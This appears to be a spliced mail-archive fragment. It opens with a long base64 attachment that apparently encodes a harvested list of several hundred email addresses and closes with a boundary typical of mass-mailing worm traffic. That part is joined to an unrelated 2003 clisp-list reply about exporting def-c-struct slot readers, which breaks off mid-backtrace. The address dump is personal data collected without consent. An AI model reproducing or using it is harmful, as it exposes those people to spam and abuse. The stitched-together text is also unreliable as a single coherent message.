ZWRpdG9yc0BnYW1hc3V0cmEuY29tDQpybXNAc3RhbGxtYW4ub3JnDQpjbGFpcmRAbmVvc29mdC5j b20NCm5ld3NAZ2FtYXN1dHJhLmNvbQ0KZGV0bGV2QGRpZS1vZmZlbmJhY2hzLmRlDQpib3VkQHZh bGR5YXMub3JnDQpyb2JlcnRAcm9lYmxpbmcuZGUNCmd2ZXJtZXVsQGdyZW5vYmxlLmNucnMuZnIN CnB5b3NAYWxjeW9uZS5jb20NCmhpbnNlbkBjbnJzLW9ybGVhbnMuZnINCmpidWJsaXR6QG53aW50 ZXJuZXQuY29tDQpyaWFhbkBlLmNvLnphDQpiam9ya2xvZkBob3RtYWlsLmNvbQ0Ka3NpbXBzb25A dHR1bC5vcmcNCmVpc3NmZWxkdEB6cHIudW5pLWtvZWxuLmRlDQpkc2NoZXJlckBjbXUuZWR1DQpk bWFAYW5kcmV3LmNtdS5lZHUNCnJjaGFiYXlAYW5kcmV3LmNtdS5lZHUNCmFoZWl0bmVyQGFuZHJl dy5jbXUuZWR1DQppdHBAZ251Lm9yZw0KcHljaGVja2VyLWxpc3RAbGlzdHMuc291cmNlZm9yZ2Uu bmV0DQp0cmF2aXNAZW50aG91Z2h0LmNvbQ0Kc2NpcHktZGV2QHNjaXB5Lm9yZw0KZWRsb3BlckBn cmFkaWVudC5jaXMudXBlbm4uZWR1DQpvcGVuZ2VvbWV0cnlAeWFob28uY2ENCmd3YXJkQHB5dGhv bi5uZXQNCnJpY2hhcmRAdXNlcnMuc2YubmV0DQpvcHRpay11c2Vyc0BsaXN0cy5zb3VyY2Vmb3Jn ZS5uZXQNCmNocmlzdG9waGUuZGVsb3JkQGZyZWUuZnINCm1hdHRAa2ltYmFsbC5uZXQNCmYuYmFh cnRAc2ZrLm5sDQpmOGR5QGRpdmVpbnRvbWFyay5vcmcNCm5lYWxqQHVzZXJzLnNvdXJjZWZvcmdl Lm5ldA0KcXVlbnRlbC5waWVycmVAd2FuYWRvby5mcg0KYW5vbnltb3VzQGVxdWk0LmNvbQ0KYW5v bnltb3VzQGN2cy5od2FjaS5jb20NCm1pbmd3LXVzZXJzQGxpc3RzLnNmLm5ldA0KZHJoQGh3YWNp LmNvbQ0KbWluZ3ctbXN5c0BsaXN0cy5zZi5uZXQNCnN3aWctZGV2QGNzLnVjaGljYWdvLmVkdQ0K c2VjdXJpdHktYXJjaGl2ZUBjZXJpYXMucHVyZHVlLmVkdQ0Kc3BhZkBjZXJpYXMucHVyZHVlLmVk dQ0KY29hc3QtcmVxdWVzdEBjcy5wdXJkdWUuZWR1DQpsaW5kc2F5Lm1hcnNoYWxsQG5ld2Nhc3Rs ZS5hYy51aw0KbGluZHNheS5tYXJzaGFsbEBuY2wuYWMudWsNCmJsYWNrYmVldGxlQGRlZmNvbi5v cmcNCmRvbWFpbkBlZmYub3JnDQp4QGJveC5zaw0KYXBocm9kaXRlQHRpZGJpdHMuY29tDQphZHZl cnRpc2luZ0BzZXJ2ZXJmaWxlcy5jb20NCnNra0B1d2FzYS5maQ0KdHNAdXdhc2EuZmkNCmZlZWRi YWNrQG1vb2NoZXJzLmNvbQ0KbW1jZG9uYWxkQDEyM2dvLmNvbQ0Kc3VwcG9ydEBpbnZpc2libGVz ZWNyZXRzLmNvbQ0KZG9uYXRlQHhpcGgub3JnDQpkd2F0a2luc0BzaW10ZWwubmV0DQpsZWZsYXdA bGVmbGF3LmNvbQ0KdGVjaEBkbXVzaWMuY29tDQpiaWxsQGRtdXNpYy5jb20NCnRyaXN0YW5AbXBl Zy5vcmcNCmNmb2dnQGNocm9tYXRpYy5jb20NCm1hdHRjQGdhbWVzcHkuY29tDQp3d3dAc3Vuc2l0 ZS5zZXJjLmlpc2MuZXJuZXQuaW4NCmxpbnV4LWNlbnRlckBsaW51eC1jZW50ZXIub3JnDQpuZXdz QGhhcm1vbnktY2VudHJhbC5jb20NCnRyYXBwZXJAbGludXhocS5jb20NCnNwb25zb3JAc3NjLmNv bQ0KbGctYW5ub3VuY2UtcmVxdWVzdEBzc2MuY29tDQpnYXpldHRlQHNzYy5jb20NCmVkaXRvcnNA bGludXgtbWFnLmNvbQ0Kam9pbi1saW51eC1tYWctbmV3c0BzYW5kLmx5cmlzLm5ldA0KMTJAMjku OTUNCjI0QDU0Ljk1DQpnemFtYm9uaUBjb20udW5jb3IuZWR1DQplZGl0b3JzQGRhZW1vbm5ld3Mu b3JnDQpyYWh1bEByYWh1bC5jb20NCmlucXVpcnlAaGtsYy5jb20NCmdzQGxpYXdvbC5vcmcNCmpm dG91Y2hldHRlQHlhaG9vLmNvbQ0KamF5QGRvY2hlcnR5LmNvbQ0KZG9jQHNzYy5jb20NCmdyZWdA a3JvYWguY29tDQpwb3RkQHNzYy5jb20NCmZyZWRAYnl0ZXNmb3JhbGwub3JnDQpmb3J1bUB4ZnJl ZTg2Lm9yZw0KamFtZXMubC5zY290dEBhdHQubmV0DQpzYWxlc0BsaW51eGNlbnRyYWwuY29tDQpz anZuQHZuYTEucmVtb3ZldG9tYWlsLmNvbQ0KYnJlbmRhbnNjb3R0QG9wdHVzbmV0LnJlbW92ZXRv bWFpbC5jb20uYXUNCm1taW1vc29AdGVjaHRhcmdldC5jb20NCmFwYWNoZUBhcGFjaGUub3JnDQp0 cnlsaW51eEB0cnlsaW51eC5jb20NCm1ham9yZG9tb0BocGVzanJvLmZjLmhwLmNvbQ0KaG93ZWxs c0BrZGUub3JnDQpzY3lsZC11c2Vyc0BiZW93dWxmLm9yZw0KemluYy5hbm9kZUBzY3lsZC5jb20N CmtvZmZpY2VAa2RlLm9yZw0KYnJ1Y2VAb2JqZWN0Y2VudHJhbC5jb20NCmxpbnV4cnhAY3JhbWVy LXRzLmNvbQ0KYW5kcmV3LmNyYW1lckBjcmFtZXItdHMuY29tDQpodW5ueXBvdEBuY2Z0cGQuY29t DQpza3JlaWVuQHdjbmV0Lm9yZw0KamFtZXMucmljaEBtLmNjLnV0YWguZWR1DQplbG9mQGltYWdl LmRrDQptYXR0QG00NzcuY29tDQp2YWxiZXJlZG5pbmdAZC5rdGguc2UNCmlvckBkLmt0aC5zZQ0K YW1hbnRpYUBmcmVlbWFpbC5odQ0KZWRpdG9yc0BsaW51eHRvZGF5LmNvbQ0KbWdoYWxsQGVudGVy YWN0LmNvbQ0KZHJoQGFjbS5vcmcNCm15c3FsdG9vbEBsaXN0cy5kYWpvYmEuY29tDQpteXNxbHRv b2wtYW5ub3VuY2VAbGlzdHMuZGFqb2JhLmNvbQ0KZXNyQHNuYXJrLnRoeXJzdXMuY29tDQpqb2VA ZGFqb2JhLmNvbQ0KZXNyQGh1cmtsZS50aHlyc3VzLmNvbQ0KaGVpbmVyLnN0ZXZlbkBzaGVsbGRv cmFkby5jb20NCm5ld3NsZXR0ZXJAc2hlbGxkb3JhZG8uY29tDQpkb25hdGVAd2luZWhxLmNvbQ0K c2tldGNoLWxpc3QtcmVxdWVzdEBsaXN0cy5zb3VyY2Vmb3JnZS5uZXQNCmJlcm5oYXJkQHVzZXJz LnNvdXJjZWZvcmdlLm5ldA0KcHZtQG1zci5jc20ub3JubC5nb3YNCm5vZWxkQHJvb3Rwcm9tcHQu b3JnDQpsb2dlcnJvckBuZXQtc2VjdXJpdHkub3JnDQpicmlhbkBhY2VzaGFyZHdhcmUuY29tDQpw cmFrYXNoQGZyZWVvcy5jb20NCmRhcmVhbGgwYmFAeWFob28uY29tDQp5b25nYXJpQGt0LWlzLmNv LmtyDQpiZWxsZXRAZ251Lm9yZw0KbWF0dEBiZWxnYXJhdGgub3JnDQpkYW5pZWxAdmVpbGxhcmQu Y29tDQpqb2huQGdyYWJqb2huLmNvbQ0KZWNoYW5hbXBhQG1hY3Jvem9uYS5uZXQNCnN1cmlhQG1p bW9zLm15DQpha3VjaGFyaWtAdGVjaHRhcmdldC5jb20NCmhvd3Rvc0Bmcm9kby5oc2VydXMubmV0 DQp1c21iaXNoQHVzZXJzLnNvdXJjZWZvcmdlLm5ldA0KYmlzaEBuZGUudnNubC5uZXQuaW4NCmtv bnN0QG1vcmlhLm1pdC5lZHUNCnNpYmFzaGlzbmFuZGFAdnNubC5uZXQNCnNhbEBrYWNoaW5hdGVj aC5jb20NCmxvbEBra24ubmV0DQpzdHV0ekBkc2wub3JnDQp3d3dAZGl0LnVwbS5lcw0KYnJlbnRA bGludXgxLm9yZw0KanVzdGluQHZsYy5jb20uYXUNCmhlbHBkZXNrQGxpbnV4cGxhemEub3JnDQpy ZW56b0Bzb2Z0dXAuY29tLmNvDQpmcmFua0BrZGUtbG9vay5vcmcNCmFkdmVydGlzZW5vd0BiaWdm b290LmNvbQ0KYmZwYXJ0bmVyc0BiaWdmb290LmNvbQ0KbWFkZGVzQGJpZ2Zvb3QuY29tDQpqam9y ZTU3QHlhaG9vLmNvbQ0KdXNlckBkb21haW4uY29tDQprYW5vdnNreUBlcm9scy5jb20NCnRlbXBl bEBudmNzLmNvbQ0KZ251QGNjNC50aWZyLnJlcy5pbg0Kd3d3QHdlYjJtYWlsLmNvbQ0KbmV3c0Bo YXBweXBlbmd1aW4ub3JnDQpwYXNzd29yZEBmbGFzaG1haWwuY29tDQptYXRAbmVrZW1lLm5ldA0K ZGVsYXllZEBkaHMub3JnDQpkYXNzYUBkaHMub3JnDQpib2J6QG1yLm5ldA0Kc3RhZmZAZWVjaXMu dWRlbC5lZHUNCnlvdUB5b3Vyc2l0ZS5jb20NCnNoaXBsZXlAZGlzLm9yZw0Kc2NvdHRAbGlnaHRz LmNvbQ0KdzMyLmhsbHcubG92Z2F0ZS5jQG1tLmh0bWwNCnczMi5saXJ2YS5hQG1tLmh0bWwNCncz Mi5idWdiZWFyQG1tLmh0bWwNCnBheXBhbEBhbWF6ZS5ubA0KY29tbWVudHNAeG1ldGhvZHMubmV0 DQpkd3Byb2R1Y3RzQGlibS5lbWFpbC1wdWJsaXNoZXIuY29tDQpidXJnZG9yZkBhd3NkLmNvbQ0K Ym1jY2FuZUBtYXhiYXVkLm5ldA0Kc3VwcG9ydEBzZWxsaXQtaGVyZS5jb20NCnN1cHBvcnRAaHRt bHZhbGlkYXRvci5jb20NCmppbUBqaWJiZXJpbmcuY29tDQpsaWFtQGh0bWxoZWxwLmNvbQ0Kam9i c0BwZXJsZmVjdC5jb20NCnNhbGVzQHBlcmxmZWN0LmNvbQ0Kc3VwcG9ydEBwZXJsZmVjdC5jb20N CmpvZUB3cGRmZC5jb20NCnNhbGVzQGFuaW1mYWN0b3J5LmNvbQ0KbWF0dHdAc2NyaXB0YXJjaGl2 ZS5jb20NCmlhbl9uYXphcmVua29AeWFob28uaWUNCnJlY3ljbGVkcGFydHNAaG90bWFpbC5jb20N CmFuZ2VscnVzQHdlYnR2Lm5ldA0Kcm90YXJ5MzI5MEByZWRpZmZtYWlsLmNvbQ0KamNsYWlyZW5m bGFAYW9sLmNvbQ0Kbm1hcnRpbmV6bnlAYW9sLmNvbQ0KZGF3bjc5QGV2MS5uZXQNCnJvZG9uQGF0 b3ptYWlsLmNvbQ0KbXJzYnJpdG5leUBob3RtYWlsLmNvbQ0KaGptb3NzMUBiZWxsc291dGgubmV0 DQpjYWx2aW5fdzcyQGhvdG1haWwuY29tDQpuZXZtaXRlQHNvZnRob21lLm5ldA0KbXdzaWduc0Bh b2wuY29tDQpjcm9zc2luNzI3QGVhcnRobGluay5uZXQNCmtvZmltcGFAeWFob28uY29tDQpsb3Vp c2JlbkBqdW5vLmNvbQ0KbGNnOTI1QGhvdG1haWwuY29tDQpsbGluc2VtYW5AbGlnaHRob3VzZW9h a2xhbmQub3JnDQpqb2hubnlibGF6ZW42MThAYW9sLmNvbQ0KY2FsYmVyQGJlbGxzb3V0aC5uZXQN CmpvYW5kbEB5YWhvby5jb20NCnRqYTExNzJAeWFob28uY29tDQpuaW5hLmxhdGhhbi4wODEwQHdp Y2hpdGEubXdzdS5lZHUNCmJvZHlyb2trQGNvbWNhc3QubmV0DQpzaGFkb3dfYmxhZGUyOEB5YWhv by5jb20NCnNlZ2lyZHlAaG90bWFpbC5jb20NCmFkaW5pem9AbG14YWMub3JnDQpjcmF6eW90akB5 YWhvby5jb20NCmptazM3MjZAYW9sLmNvbQ0KdGltXzI4MTYwQG1zbi5jb20NCmRtb20zMzc3N0B5 YWhvby5jb20NCmtocmlzQGFkb3B0YWNsYXNzcm9vbS5jb20NCmpjZWxsaUB0aWJldGFubXVzZXVt LmNvbQ0KdmlvbmdvemlAcHJvLXVzYS5uZXQNCnZhcnNoYWJhbmVAcmVkaWZmbWFpbC5jb20NCmpv aG50aW1lMnR1bmVAYW9sLmNvbQ0KZ29sZGVuY2hvY29ib21hc3RlckB5YWhvby5jb20NCmNocmlz QGNvcmxpc3Mub3JnDQptMDBubWFuQGJlbGxzb3V0aC5uZXQNCnNoZWVuYTUyMzdAeWFob28uY29t DQphdGlidXJjaW9AYmFua3N0cmVldC5lZHUNCmJyb3duZXllZGlkeUB3ZWJ0di5uZXQNCmlzYWFj QGNsb3ZlcmhhbGwub3JnDQpib3RsYzIwMDJAeWFob28uY29tDQpiZXJud3JnQGFvbC5jb20NCmNh cHJpY29ybmJlYXV0eTdAYW9sLmNvbQ0Kc2VhdHRsZV9kZWFkY293QHlhaG9vLmNvbQ0KYWZnaWZ0 ZWRmQHlhaG9vLmNvbQ0KdHVhbnpha2lwdGhhd25nQGhvdG1haWwuY29tDQp3ZGFuaWVsc0B3dC5u ZXQNCmplcnJqZW5uZXNjaEBhb2wuY29tDQp3aWxsaWFtd29vZHNtYWxsQGNoYXJ0ZXIubmV0DQpt YTJkeUB5YWhvby5jby51aw0KdGhlNzc3QGFkZWxwaGlhLm5ldA0KaGFyZHliYWxsQGhvdG1haWwu Y29tDQpnaXJsMDA2QGhvdG1haWwuY29tDQpzaGVsbGlidWhyQGVhcnRobGluay5uZXQNCmtpbG80 NzM0QGhvdG1haWwuY29tDQp2aGVhN0Bhb2wuY29tDQpidGlsbGFuZGVyQGJveXNhbmRnaXJsc2Ns dWIudXMNCnNuZGc3N0Bhb2wuY29tDQpob25leWJlZTUxQGhvdG1haWwuY29tDQptYXJyZXJvMDJA YW9sLmNvbQ0KdGF6bWFuaWFuZGV2aWxfMjhAcGlub3ltYWlsLmNvbQ0Kc2V5d3ltb3VyQHlhaG9v LmNvbQ0KcGV0ZXIuZ29ybWFuQGZhc3RzZWFyY2guY29tDQppckBmYXN0c2VhcmNoLmNvbQ0KaXRz b2NAanVuby5jb20NCnRsbWlubmlAbXl2aW5lLmNvbQ0KcHJpc29ubmV0d29ya0Bmcm9udGllcm5l dC5uZXQNCmdhcnlmb3J0bmV5QGhvdG1haWwuY29tDQpqb2U5NTk0QGNzLmNvbQ0KanJwOTE4QHF3 ZXN0Lm5ldA0Kc2thbGxhQHd3d2Vic2VydmljZS5uZXQNCmRpYW5uZXNhbGxzQGF0dGJpLmNvbQ0K bWVyY2luYXJ5cmVjb3Jkc0Bhb2wuY29tDQpmbHBjb24xQGFpcm1haWwubmV0DQp4Z3JsZnJpZW5k MkBhb2wuY29tDQptZWRpY2VuQGphc3Blci55b3VybmV0LmNvbQ0KYnJhZG1sZXdpc0B5YWhvby5j b20NCmphY29ic29ubEBleHBsb3JlbmF0dXJlLm9yZw0KaW5ldGxlYXJuaW5nY3RyQHlhaG9vLmNv bQ0Kc2luY2VyZWx5ZGlhbmVAeWFob28uY29tDQp0aGVkZWNvcmF0b3IyMDAwQHlhaG9vLmNvbQ0K cm9zZW1hcnkubWNjbGVsbGFuZEBwY3Mub3JnLnVrDQptZ3JvdmVzQHdlYi5kZQ0Kam9obmdfZ2li c29ucmRyODRAbXNuLmNvbQ0Kc2hhbmtldkBsb2cub24uY2ENCmMxOTJkbUBzcmZ5b2tvLm5hdnku bWlsDQplbGFpbmVkaWNrc29uQGFvbC5jb20NCmxkdW5jYW4xQGVscC5yci5jb20NCmJlaGF5d29v ZEBkY2NuZXQuY29tDQpoYXJyeWdhcmRpbmVyQGZyZWV6b25lLmNvLnVrDQpzdWVnYXJkaW5lckBm cmVlem9uZS5jby51aw0KZGVsYXdhcmVzcXVhd0Bhb2wuY29tDQpsZWlmaG9uZEBkY3NpLm5ldC5h dQ0Kam9obkBrZXBwbGVzdG9uZS5jb20NCnNhbmRyYWZhcmxleUBwcm9kaWd5Lm5ldA0KYm1idW5j ZTFAanVuby5jb20NCnh5bGFudHJhQG1zbi5jb20NCnBhdHRlcmRheUBiaWdwb25kLmNvbQ0KZGVi ZmluZGxleUBhdHRiaS5jb20NCmRhZmluZGxleTFAYW9sLmNvbQ0Kam9sbHNAcmFleC5jb20NCmph bmRkZ3lwc2llc0Bwcm9uZXQubmV0DQpvd2VuLmV2YW5zQGFlYXQuY28udWsNCm1kdjFAcXdlc3Qu bmV0DQpkb3VnbGFzbUB0b2FkLm5ldA0Kcm9sZmxvcmVuekB0aW55d29ybGQuY28udWsNCnNpbHZp ZXJ1ZWxAc3ltcGF0aWNvLmNhDQpsaW5kc2F5QGJlYWhhbjEuZnNuZXQuY28udWsNCnNtY2NsZWxs YW5kQHN5bXBhdGljby5jYQ0KdGlkeXN1bUBhb2wuY29tDQpncmFoYW1tY2xlbGxhbmRAYW9sLmNv bQ0KYW15c2ZAcGFjYmVsbC5uZXQNCmVkZGllQHN0Y2xlZXJzOTk5LmZyZWVzZXJ2ZS5jby51aw0K Y2FsbGFkaW5lYkBhb2wuY29tDQpjaGllZnRhaW5Aam9iZS5uZXQNCmVtYWlsQGdlcnJpLmdvLXBs dXMubmV0DQp2YXNub3dmbGFrZUBob3RtYWlsLmNvbQ0KZG9uanVkeUBnaXMubmV0DQpjdmdyZWVu ZXMyMTk3QGhvdG1haWwuY29tDQpnbWNjbGVsbGFuQGFzYnVyeS5vcmcNCmFuY21jY0BwcmVtaWVy LWlzcC5jb20NCjI1MDJAcHJvZGlneS5uZXQNCnJtY2NsZWxsYW5kN0Bob21lLmNvbQ0KdmpldGVy QG5jaC5jb20NCndhbGxleWVndWlkZUBtY2NsZWxsYW5kb3V0ZG9vcnMuY29tDQpibGVlcEBtYWls LmV3b2wuY29tDQpibGVlcEBld29sLmNvbQ0KdXNtYWNzQGhvdG1haWwuY29tDQpndW02YmFsbDZA YW9sLmNvbQ0KY2FjdW5uaW5naGFtZUBiZW5kY2FibGUuY29tDQpjY3VubmluZ2hhbWVAYmVuZGNh YmxlLmNvbQ0KdGVuZ28ua0BtaW5tYWlsLm5ldA0KcHJAZmFzdHNlYXJjaC5jb20NCnJta20xQGZs b29kY2l0eS5uZXQNCm1hY0B0aGV1Zm8uY28udWsNCm5oYW5jb2NrQG1vLW5ldC5jb20NCmh1Z2gu bWNjYXdAdGFsazIxLmNvbQ0KdG9kZEBzdXJ2aXZhbHNlcnZpY2VzLmNvbQ0KamFtZXNAc3Bpbm5h a2VyLWZpbG1zLmNvLnVrDQpicmFmZmVydEBtY2NhcnRoeS5jYQ0KYnJhaXJlb3NAYnRpbnRlcm5l dC5jb20NCm1tY2NsZWxsYW5kQGl2Y2Yub3JnDQpyb2dlcmVhc3RvbkBlYXJ0aGxpbmsubmV0DQpk Lm1jY2xlbGxhbmRAYmx1ZXlvbmRlci5jby51aw0KdnRqckBiZWxsc291dGgubmV0DQpwbG9tYmFy ZGlAZWFydGhsaW5rLm5ldA0KdmphbmRlcnNvbkBzay5zeW1wYXRpY28uY2ENCnRoZW11Y2tzQG1i LnN5bXBhdGljby5jYQ0KbG1jY2xlbGxhbmRAaG9tZS5jb20NCnZlZ2FuYWJvb0Bhb2wuY29tDQpk b25uYW1hY18xQGV4Y2l0ZS5jb20NCmUubWNjbGVsbGFuZEBibHVleW9uZGVyLmNvLnVrDQp3eW9k b2VAY3MuY29tDQpiZXR0ZWJlbGxlQGFvbC5jb20NCm1jY2xlbGxhbmRAa2NvbmxpbmUuY29tDQpo b3RhbmRzcGljZXNAd2VidHYubmV0DQphZnJhc2VyQGJpZ3BvbmQubmV0LmF1DQpzcGVjYzRAYW9s LmNvbQ0KZ3JhbWFidXNlc0Bhb2wuY29tDQpqZ2lic29ubWNAYW9sLmNvbQ0KbWNjbGVsbGFuZEBw YXZpbGlvbi5jby51aw0KZ29zbmVsbEB3bm9ubGluZS5uZXQNCm1hY2ZhbWx5QG5ldGlucy5uZXQN CmJpbGxfaG9sbHlAeWFob28uY29tDQprLW1jY2xlbGxhbmRAaG9tZS5jb20NCmRvbl9sYW5nZm9y ZEBob3RtYWlsLmNvbQ0KcmhvbGx5ZmVsZEBhb2wuY29tDQprZW5tY2NAbW5zaS5uZXQNCmtpbnNl ZWtlckBnbG9jaHNuZXIuY29tDQptcnJheW9uQGFvbC5jb20NCndobWNsYW5kQGJpZ2Zvb3QuY29t DQprYXRocnluQHRvd3NvbnByZXMub3JnDQpienp6NjNhQGVtYWlsLm1zbS5jb20NCmJvYm1jY2xl bGxhbmRAaG90bWFpbC5jb20NCmJpZ2J1YmJhQG1pZHdlc3QubmV0DQpidWJiYWRhdmVAY2hhcnRl ci5uZXQNCmptY2NvbjUwNzBAYW9sLmNvbQ0Kc3lsODlAaG90bWFpbC5jb20NCmRlYmJpZUBtY2Ns ZWxsYW53ZWIuY29tDQpjcGVuYUBnYXRld2F5Lm5ldA0KZ2VubW9tbXlAeG9vbW1haWwuY29tDQpt eUBvcGVyYS5jb20NCnJlcXVlc3RAcmVjeWNsZXMub3JnDQpwYXJ0bmVyc0BmYXN0c2VhcmNoLmNv bQ0KZmVlZGJhY2tAc21hcnRwYWdlcy5jb20NCnJlZ2lzdGVyQG9wZXJhLmNvbQ0KY2pAb3BlcmEu Y29tDQpsYXJzYkBvcGVyYS5jb20NCmRlYW5Ab3BlcmEuY29tDQpyb29ra2V5QHlhaG9vLmNvbQ0K cmFpc2luZ3NwZWNpYWxrMUB1c3dlc3QubmV0DQptcmVldmVzMjAwMEBob3RtYWlsLmNvbQ0KdGF4 eEB1c2EubmV0DQp0aGVvZG9yZV9naEB5YWhvby5jby51aw0Kc3RvbGVubW1udEBhb2wuY29tDQpz bGhhbmRwaEB5YWhvby5jb20NCm5ncmlmZmluQHVzYWdyb3VwLmNvbQ0KcGhwLm1hQHZlcml6b24u bmV0DQpqdHVyYXk1M0Bob3RtYWlsLmNvbQ0KZ2FyZG9uQGFtZXJpdGVjaC5uZXQNCmhhbHZlckBh enRlYy5hc3UuZWR1DQpzYWJlZWhhemVlekBob3RtYWlsLmNvbQ0KaGN6ZWxkYUB3ZWJ0di5uZXQN Cm1lZGlhZGlyZWN0b3JAYXlhbS5vcmcNCmZzYWFoaXJAZWFzeXN0cmVldC5jb20NCmJlY2t5aEBj bHBsYWlucy5vcmcNCmFkYWlyOTA4MDVAeWFob28uY29tDQptY2tlZWRtQHlhaG9vLmNvbQ0Kc3Rh dWZmZXJAc29ja2V0Lm5ldA0KbmF0aGVsZXlAYW9sLmNvbQ0Ka3B0eEBlZ3JvdXBzLmNvbQ0KY2Rs ZWF0aGVyQGFvbC5jb20NCmFib3V0dGVjQGFvbC5jb20NCnZhc2h0aXN0b2x0ekB5YWhvby5jb20N CnRob3JAYmNwbC5uZXQNCmt3YW1pbmFrdW1pYWhAeWFob28uY29tDQpkb3dlbnNAc2VpLmNtdS5l ZHUNCnNhYmRldmJhbmtAYXNpYW5ldC5saw0KY2xpZmYxOTU2QGFvbC5jb20NCmEyaXNhQGhvdG1h aWwuY29tDQpwYW9sYUBzaW1pYW5zdGVyZW8uY28udWsNCnRhbW15LmxvbmdtaXJlQG5jbWFpbC5u ZXQNCnJqY2FybEBtb2xhbGxhLm5ldA0Kandlc2NoQHNjaG9zcC5vcmcNCmFzbWFtYUBjYXJhbWFp bC5jb20NCmtsanBvd2VsbEB5YWhvby5jb20NCnJkdHlsdHRAeWFob28uY29tDQpqYmlyZDQzNjA3 QHlhaG9vLmNvbQ0KcndoZWluZGxAdXdtLmVkdQ0KYnV0Y2hfY0BiZWxsc291dGgubmV0DQprbHdh ZGVAaG90bWFpbC5jb20NCmpldDM1QHVzYS5uZXQNCmZ2bmZfY2VudGVyQHlhaG9vLmNvbQ0KYmF3 aWluYUB5YWhvby5jby51aw0KbWFyZ3Vlcml0ZUBwaWNrZW5zLm5ldA0Kb213YW1pQGNyb3Nzd2lu ZHMubmV0DQppZXJic0BwamEucHZ0LmsxMi5vci51cw0KcGZhdWNhQGFvbC5jb20NCnRlcmlsZWVA cmlzaW5nc3VuYmFwdGlzdGNodXJjaC5jb20NCmRsZWVAYWFhcnRzYWxsaWFuY2Uub3JnDQp2bWJ1 cmtAbXNuLmNvbQ0KYW5pbWFsX2d1cnJybEBob3RtYWlsLmNvbQ0KYXluYXRfbGliQGhvdG1haWwu Y29tDQpkZWF0aF9zdHJpa2VfaW5jQHlhaG9vLmNvbQ0Kc3BvZXJsa2V2aW5AaG90bWFpbC5jb20N CmNsYXJrc29uYXZlY29nQGFvbC5jb20NCmRzdGFuc29uQG5ldHNjYXBlLm5ldA0KcmVxdWVzdHNA cmVjeWNsZXMub3JnDQphZHVsY2VAYW9sLmNvbQ0KcHJvamVjdGRlbHRhMjAwMEB5YWhvby5jb20N CmpvaG5wcmF0dEBpd29uLmNvbQ0KYmp1Y2FudDRAaG90bWFpbC5jb20NCnVscmljaGRAYm9yZWFs Lm9yZw0KaW1kYm9zc21vbUB5YWhvby5jb20NCmoyazJraXRlQG5ldHNjYXBlLm5ldA0KY21jbndA anVuby5jb20NCnRfYWlkQHVzYS5uZXQNCm5mc3Nvc2VAZWFydGhsaW5rLm5ldA0KZXVyb3Bha0Bw YWNiZWxsLm5ldA0KdG9zdGV2ZUB5YWhvby5jb20NCmplc2dyYW1AYW9sLmNvbQ0KdGNhcnBlbnRl ckB3c2JhbmsuY29tDQpwdWZmY2F0MjAwMEBhb2wuY29tDQpzeXNvcEBzdXBlcm5hdHVyZS1mb3J1 bS5kZQ0KaWNoYWtAb3BlcmFtYWlsLmNvbQ0KbWlrZV9lQHRoaW5na29ubGluZS5jb20NCnBhcnRu ZXJzQGZhc3RlYXJjaC5jb20NCnVzZXJAdm9kYWZvbmUubmV0DQpjd2lzLXN1cHBvcnRAbGl2am0u YWMudWsNCnByZXNzQGxpdmptLmFjLnVrDQpvcGVuZGF5c0BsaXZqbS5hYy51aw0KbWNjY2hlc2xA bGl2am0uYWMudWsNCnNtYXJ0Y2FyZWVyc0BzYmNkby5jb20NCg0KDQoNCg== --===_SecAtt_000_1ficonsyvpoxsl From sds@gnu.org Sun Mar 30 13:02:24 2003 Received: from pop018pub.verizon.net ([206.46.170.212] helo=pop018.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18zjwe-0004OT-00 for ; Sun, 30 Mar 2003 13:02:24 -0800 Received: from loiso.podval.org ([151.203.42.128]) by pop018.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030330210217.JSLS6884.pop018.verizon.net@loiso.podval.org>; Sun, 30 Mar 2003 15:02:17 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h2UL3hTx015680; Sun, 30 Mar 2003 16:03:43 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h2UL3dlO015676; Sun, 30 Mar 2003 16:03:39 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net, Joerg-Cyril.Hoehle@telekom.de Subject: Re: [clisp-list] exporting reader functions for slots? References: <20030330121357.ED85C237C9@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030330121357.ED85C237C9@thalassa.informatimago.com> Message-ID: Lines: 122 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Authentication-Info: Submitted using SMTP AUTH at pop018.verizon.net from [151.203.42.128] at Sun, 30 Mar 2003 15:02:16 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 30 13:03:10 2003 X-Original-Date: 30 Mar 2003 16:03:39 -0500 > * In message <20030330121357.ED85C237C9@thalassa.informatimago.com> > * On the subject of "[clisp-list] exporting reader functions for slots?" > * Sent on Sun, 30 Mar 2003 14:13:57 +0200 (CEST) > * Honorable Pascal Bourguignon writes: > > Shouldn't the reader functions for slots of def-c-struct be exported > from LINUX? would you be happy with the appended patch? actually, I am somewhat uneasy with this. def-c-struct defines both a C struct and a LISP structure type. how is this passed into the FFI? i.e., suppose I create a passwd with linux:MAKE-passwd. can I pass it to linux:putpwent? I cannot check that because even=20 (linux::putpwent (linux:getpwent) linux:stdout) crashes: (gdb) where #0 0x080b1283 in nls_asciiext_wcstombs (encoding=3D{one_o =3D 539610993}, = stream=3D {one_o =3D 0}, srcp=3D0xbfff8de8, srcend=3D0x203dc16c, destp=3D0xbfff= 8de0,=20 destend=3D0x404
